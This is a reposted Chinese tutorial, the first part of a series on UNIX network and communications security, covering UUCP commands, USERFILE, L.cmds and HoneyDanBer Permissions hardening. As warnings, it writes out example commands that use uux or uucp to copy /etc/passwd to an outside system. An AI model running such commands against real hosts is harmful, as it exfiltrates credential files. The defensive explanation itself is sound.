• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

网络和数据通讯安全(1)

发布: 2007-6-23 18:14 | 作者:   | 来源:   | 查看: 14次 | 进入软件测试论坛讨论

领测软件测试网

下一页 1 2 3 

   

本文主要讨论网络和数据通讯安全,分为六个部分.第一部分概述最大,最老 

的UNIX网络UUCP系统;第二部分讨论UUCP的安全;第三部分讨论新HONEY DANBER 

UUCP及安全特点;第四部分讨论其它的UNIX网络,其中包括RJE和NSC;第五部分讨 

论通讯的物理安全;最后一部分讨论Sun Microsystem公司的Sun OS系统的网络 

安全. 

1.UUCP系统概述 

UUCP系统是一组程序,完成文件传输,执行系统之间的命令,维护系统使用情 

况的统计,保护安全.UUCP是UNIX系统最广泛使用的网络实用系统,这其中在两个 

原因:第一,UUCP是各种UNIX版本都可用的唯一的标准网络系统,第二,UUCP是最 

便宜的网络系统.只需要一根电缆连接两个系统,然后就可建立UUCP.如果需要在 

相距数百或数千公里远的两个系统间传输数据,中需要两个具有拨号功能的调制 

解调器. 

(1)UUCP命令 

UUCP命令之一是uucp,该命令用于两系统间的文件传输,uucp命令格式类 

似于cp命令的格式,只是uucp允许用户有系统间拷贝文件,命令的一般格式如 

下: 

uucp source_file destination_file 

ource_file通常是本系统的文件(但不必一定是),destination_file通 

常是另一系统的文件或目录.指定destination_file的格式为: 

ystem!filename或system!directory. 

uucp给系统管理员提供了一个选项,可以限制传入和传出本系统的uucp文 

件只能传到/usr/spool/uucppublic目录结构中.若告诉uucp将传输的文件存 

放在其他目录中,系统将会送回一个邮件:remote access to path / file 

denied. uucp允许以简化符号~代替/usr/spool/uucppublic/.如: 

uucp names remote!~/john/names 

有时也可用uucp将文件从另一个系统拷贝到本系统,只要将要传入本系统 

的文件指定为源文件(用system!file)即可,如: 

uucp remotes!/usr/john/file1 file1 

如果在远地机限制了文件传输的目录,上条命令不能拷贝到文件.拷贝文 

件到本系统的最安全的方法是:在两个系统上都通过uucppublic目录进行文件 

传输: 

uucp remotes!~/john/file1 ~/pat/file1 

(2)uux命令 

uux命令可用于在另一个系统上执行命令,这一特点称为"远程命令仞行". 

uux最通常的用处是在系统之间发送邮件(mail在其内部执行uux).典型的uux 

请求如下: 

r listing| uux - "remote1!lp -d pr1" 

这条命令将文件listing格式编排后,再连接到系统remote1的打印机pr1 

上打印出来.uux的选项"-"使uux将本命令的标准输入设备建立为远程命令的 

标准输入设备.当若干个系统中只有一个系统连接了打印机时,常用uux打印文 

件. 

当然必须严格地限制远程命令招待,以保护系统安全.如: 

本系统不应允许其它系统上的用户运行下面的命令: 

uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)" 

这条命令将使本系统传送/etc/passwd文件到系统outside上,一般地,只 

有几条命令允许地执行.rmail是加限制的mail程序,常常为允许通过uux执行 

的命令之一.也允许rnews(加限制.netnews伪脱机命令)在运行netnews的系 

统上执行,还允许lp在提供了打印设备的系统上运行. 

(3)uucico程序 

uucp和uux命令实际上并不调用另一个系统及传送文件和执行命令,而是 

将用户的请求排入队列,并启动uucico程序.uucico完成实际的通讯工作.它调 

用其它的系统,登录,传送数据(可以是文件或请求远程命令执行).如果电话线 

忙,或其它系统已关机,传输请求仍针保留在队列中,uucico后续的职能操作 

(通常是cron完成)将发送这些传输请求. 

uucico完成数据的发送和接收.在本系统的/etc/passwd文件中,有其它系 

统的uucico登录进入本系统的入口项,该入口项中指定的缺省shell是uucico. 

因此,其它系统调用本系统时,直接与uucico对话. 

(4)uuxqt程序 

当另一系统的uucico调用本系统请求远程命令执行时,本系统的uucico将 

该请求排入队列,并在退出之前,启动uuxqt程序执行远程命令请求. 

下面举例说明数据是如何传输的.假设本系统的一个用户发送邮件给另一 

远程系统remote1的某人,mail会执行uux,在remote1系统上远程地运行remail 

程序,要传送的邮件为remail命令的输入.uux将传输请求排入队列,然后启动 

uucico招待实际的远程调用和数据传输.如果remote1响应请求,uucico登录到 

remote1,然后传送两个文件:邮件和将在remote1上由uuxqt执行的uux命令文 

件.uux命令文件中含有运行remail请求.如果remote1在被调时已关机,uucico 

则将无法登和传送文件,但是cron会周期地(1小时)启动uucico.uucico查找是 

否有还未传送出的数据,若发现uux指定的传输目标系统是remote1,就尝试再 

调用remote1,直到调通remote1为止,或者过了一定天数仍未调通remote1,未 

送出的邮件将作为"不可投递"的邮件退回给发送该邮件的用户. 

2.UUCP的安全问题 

UUCP系统未设置限制,允许任何本系统外的用户执行任何命令和拷贝进/出 

uucp用户可读/写的任何文件.在具体的uucp应用环境中应了解这点,根据需要设 

置保护. 

在UUCP中,有两个程序处理安全问题.第一个是uucico程序,该程序在其它系 

统调用本系统时启动.这个程序是本系统uucp安全的关键,完成本系统文件传输 

的传进和传出.第二个程序是uuxqt,该程序为所有的远程命令执行服务. 

(1)USERFILE文件 

uucico用文件/usr/lib/uucp/USERFILE确定远程系统发送或接收什么文 

件,其格式为: 

login,sys[c] path_name [path_name...] 

其中login是本系统的登录名,sys是远程系统名,c是可选的call_back标 

志,path_name是目录名. 

uucico作为登录shell启动时,将得到远程系统名和所在系统的登录名,并 

在USERFILE文件中找到匹配login和sys的行.如果该行含有call_back标志c, 

uucico将不传送文件,连接断开,调用远程系统(即,任何系统可以告诉本系统 

它的名是xyz,于是本系统挂起,调用实际的xyz执行文件传输),若无c,uucico 

将执行远程系统请求的文件传送,被传送的文件名被假定为以path_name开头 

的. 

用户需要了解以下几点: 

. 如果远程系统使用的登录名未列于USERFILE的登录域中,uucico将拒绝 

允许其它系统做任何事,并挂起. 

. 如果系统名未列于sys域中,uucico将使用USERFILE中有匹配的登录名 

和空系统名的第一行,如:nuucp,/usr/spool/uucppublic应用到作为 

uucp登录的所有系统.cbuucp,c将迫使作为cbuucp登录的所有系统自 

己执行文件传输的请求.若调用系统名不匹配sys系统中的任何一个,并 

且无空入口项,uucico也将拒绝做任何事. 

. 若两个机器都设置了call_back标志,传送文件的请求决不会被执行,两 

个系统一直互相调用,直到两个系统中的一个取消call_back时,才能进 

行文件传送. 

. 如果一个用户的登录名列于USERFILE文件的login域中,则当调用本系 

统的uucico为该用户传送文件时,uucico只传送至path_name指定的目 

录中的文件.空登录名用于所有未明确列于USERFILE文件中的用户进行 

登录.所以 

at,/usr/pat 

只允许pat传送/usr/pat目录结构中的文件. 

,/usr/spool/uucppublic /tmp 

其他用户仅允许传送目录/usr/spool/uucppublic和/tmp中的文件. 

不要允许uucico将文件拷进/出到除了/usr/spool/uucppublic目录以 

外的其它任何目录,否则可能会有人用下面的命令拷贝走本系统的重要 

信息: 

uucp yoursys!/etc/passwd to-creep 

(2)L.cmds文件 

uuxqt利用/usr/lib/uucp/L.cmds文件确定要执行的远程执行请求命令. 

该文件的格式是每行一条命令.如果只需uuxqt处理电子邮件,该文件中就只须 

一行命令: 

rmail 

系统管理员可允许登录用户执行netnews(rnews)的命令或远程打印命令 

(lp),但决不能允许用户执行拷贝文件到标准输出的命令,如cat命令或网络命 

令uucp,否则这些人只需在他们自己的系统上敲入: 

uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)" 

然后就可等待本系统发送出命令文件. 

(3)uucp登录 

UUCP系统需要两个登录户头,一个是其它系统登录的户头,另一个是系统 

管理使用的户头.例如,数据传输登录户头是nuucp,管理登录户头是uucp,则在 

/etc/passwd文件中应当有二行. 

UID和GID的5号通常留给uucp,由于uucico具有管理登录的SUID许可,因此 

uucp户头的UID和GID应当用其它值. 

(4)uucp使用的文件和目录 

/usr/lib/uucp用于存放不能由用户直接运行的各种uucp,如uuxqt和 

uucico.该目录还含有若干个确定uucp如何操作的文件,如L.cmds和USERFILE. 

这些文件只能对uucp管理户头可写(系统管理员一定不愿让用户更改远程可执 

行命令表):根据安全的观点,该目录中另一个系统管理员必须清楚的文件是 

L.sys.该文件中含有uucico能调用的每个系统的入口项.入口项数据包括 

uucico所调用系统的电话号码,登录名,未加密的口令.不用说,L.sys应当属于 

uucp管理户头所有,且应当具有400或600存取许可. 

uucp用/usr/spool/uucp目录存放工作文件.文件名以C.开头的文件是送 

到其它系统的命令文件,含有在其它系统上拷入/出数据和执行命令的请求.文 

件名以D.开头的文件用作C.文件的数据文件.文件名以X.开头的文件是来自其 

它系统的远程执行请求,由uuxqt解释.文件名以TM.开始的文件是从其它系统 

传送数据到本系统过程中uucp所使用的暂存文件.XQTDIR是uuxqt用于执行X. 

文件的目录.LOGFILE可有助于管理uucp的安全,它含有执行uucp请求成功与否 

的信息.系统管理员可时常查看该文件,了解有哪些系统正登录入本系统执行 

uucp请求?是什么请求?特别要检查这些请求是否试图做不允许的操作. 

3.HONEYDANBER UUCP 

有两个主要的UUCP版本,第一个是与UNIX系统V一起颁布的,在本节将称为老 

UUCP,另一个版本称为HONEYDANBER UUCP,由AT&T颁布. 

HONEYDANBER UUCP较之老UUCP有若干改进: 

lt;1>支持更多的拨号和网络: 

. 智能自动拨号调制解调器以及标准AT&T技术的801自动拨号器. 

. 网络,如DATAKIT VCS,UNET/ETHERNET, 3COM/ETHERNET, SYTEK, TCP 

(BSD UNIX系统). 

. 连接到LAN的拨号器. 

. X.25永久性虚拟环网(用X.25协议) 

lt;2>重新组织了/usr/spool/uucp目录,在该目录下,对每个远程系统有一个 

目录. 

lt;3>加强了安全. 

. USERFILE和L.cmds文件组合成一个文件Permissions. 

. 可以在一级级系统上指定远程可执行命令. 

. 可分别控制文件传入和文件传出. 

. 缺省的安全设置很严格. 

(1)HONEYDANBER UUCP与老UUCP的差别 

HONEYDANBER UUCP中的/usr/lib/uucp/Systems文件是原来UUCP中的 

/usr/lib/uucp/L.sys.HONEYDANBER UUCP中/usr/spool/uucp/.log下的一个 

目录代替了老UUCP的文件/usr/spool/uucp/logFILE./usr/spool/uucp/.log 

中的目录uucico,uucp,uux,uuxqt含有相应命令的记录文件,各目录对应最近 

处于活跃状态的远程系统都有一个记录文件(记录文件在这些目录中通常保存 

一个星期). 

如果一个调用本系统的远程系统未列于Systems文件中,uucico将不允许 

该远程系统执行任何操作,而是启动shell程序/usr/lib/uucp/remote.unknown, 

由UUCP提供的该shell程序的缺省版本将在/usr/spool/uucp/.Admin/Foreign 

文件中记下远程系统的登录时间,日期及系统名.只要使remote.unknown不可 

执行,就能禁止这一操作,以达到与老UUCP兼容. 

C.,D.,X.,TM.等文件存放在/usr/spool/uucp下的不同目录中,目录名就 

是文件对应的远程系统名. 

在HONEYDANBER UUCP中USERFILE与L.cmds文件合并在一起,这个新文件 

/usr/lib/uucp/Permissions提供了更灵活的授予外系统存取许可的控制.文 

件中的规则表定义了可以发出请示的各种系统.规则与选项的格式如下. 

rule=list option=yes|no option=list... 

其中rule是登录名或机器名,list是用以分隔各项的规则表(表中各项随 

rule或option而变),option是下边将讨论的各选项之一,或为一个选项表,或 

只取yes/no决定允许/不允许一项操作. 

(2)登录名规则 

LOGNAME规则用于控制作为登录shell启动的uucico. 

LOGNAME=nuucp 

指定对所有登录到nuucp户头下的系统加缺省限制: 

. 远程系统只能发送文件到/usr/spool/uucppublic目录中. 

. 远程系统不能请求接收任何文件. 

. 当uucico调用远程系统时,才发送已排入队列要发送到该远程系统的文 

件.这是uucico准确地识别远程系统的唯一方法(任何系统都可调用本 

系统并冒充是xyz系统). 

. 由uuxqtux远程系统的名义可执行的命令是缺省规定的命令,这些缺省 

命令在编译时定义(通常只有rmail,rnews命令). 

. 可用冒号分隔开若干个其它系统的uucico的登录户头. 

LOGNAME=nuucp:xuucp:yuucp 

任何设有LOGNAME规则的系统,若要登录请求UUCP传送,都会被回绝(系统 

将给信息"get lost",并挂起). 

一个LOGNAME规则就足够启动HONEYDANBER UUCP系统.事实上,当该系统运 

行时,将在Permissions文件中放一个无选项的LOGNAME规则,该规则应用于在 

/etc/passwd文件入口项shell域中有/usr/lib/uucp/uucico的所有登录户头. 

可使用若干选择忽略缺省限制,这些选项可组合,允许或限制各种操作.例 

如可用WRITE选项指定一个或多个送入文件的目录,而不用被限制送入 

/usr/spool/uucppublic目录. 

LOGNAME=nuucp WRITE=/ 

这一规则允许文件送入本系统的任何目录.2-4项的限制依然保持.注意: 

远程UUCP请求可重写任何有写许可的文件,可指定多个写入文件的目录.用冒 

号分隔开: 

LOGNAME=nnuucp WRITE=/usr:/floppy 

该规则允许远程系统将文件写到/usr和/floppy目录中. 

用REQUEST=yes选项可允许远程系统的用户从本系统拷贝文件. 

LOGNAME=nuucp REQUEST=yes 

能被拷贝的文件只能是存放在/usr/spool/uucppublic目录中的文件,1, 

3,4,项的限制仍然有效.若要允许远程系统可从其它目录拷贝文件,用READ选 

择: 

LOGNAME=nuucp REQUEST=yes READ=/usr 

该规则允许远程系统拷贝/usr目录中任何其他人可读的文件.也可像 

WRITE选项一样指定目录表. 

用SENDFILES=yes选项可允许uucico在远程系统调用本系统时发送出已排 

队的文件. 

LOGNAME=nuucp SENDFILES=yes 

1,2,4项的限制依然有效. 

用CALLBACK=yes选项迫使任何登录到指定户头的系统call back. 

注意:CALLBACK=yes不能与其它选项组合作用.如果其它选项与这条选项 

列在一起,其它选项将被忽略. 

NOREAD和NOWRITE选项可分别与READ和WRITE选项一起使用.指定NOREAD选 

项下的目录表,可建立对READ选项的例外处理(即指出READ目录中不能由远程 

系统请求的目录),例如: 

LOGNAME=nuucp,REQUEST=yes READ=/ NOREAD=/etc 

该规则允许远程系统请求系统中任何其他人可读的文件,但不包括/etc中 

的文件,NOWRITE,WRITE的联合用法与上类似. 

一般来说,不要将缺省限制改得太多.若本系统被另一系统调去存贮电话 

费用或系统管理员没有办法拨出,可以用SENDFILE选项.若要对某些机器取消 

限制,则应当建立一个仅用于那些机器的uucico登录户头.例如: 

LOGNAME=nuucp SENDFILES=yes 

LOGNAME=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/ 

上面的规则允许在trusted户头下登录的系统在本系统中具有另一种文件 

存取许可,nuucp户头的口令应送给所有要与本系统uucp建立连接的系统管理 

员,trusted户头的口令则只能送给信任系统的管理员.  


延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备10010545号-5
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网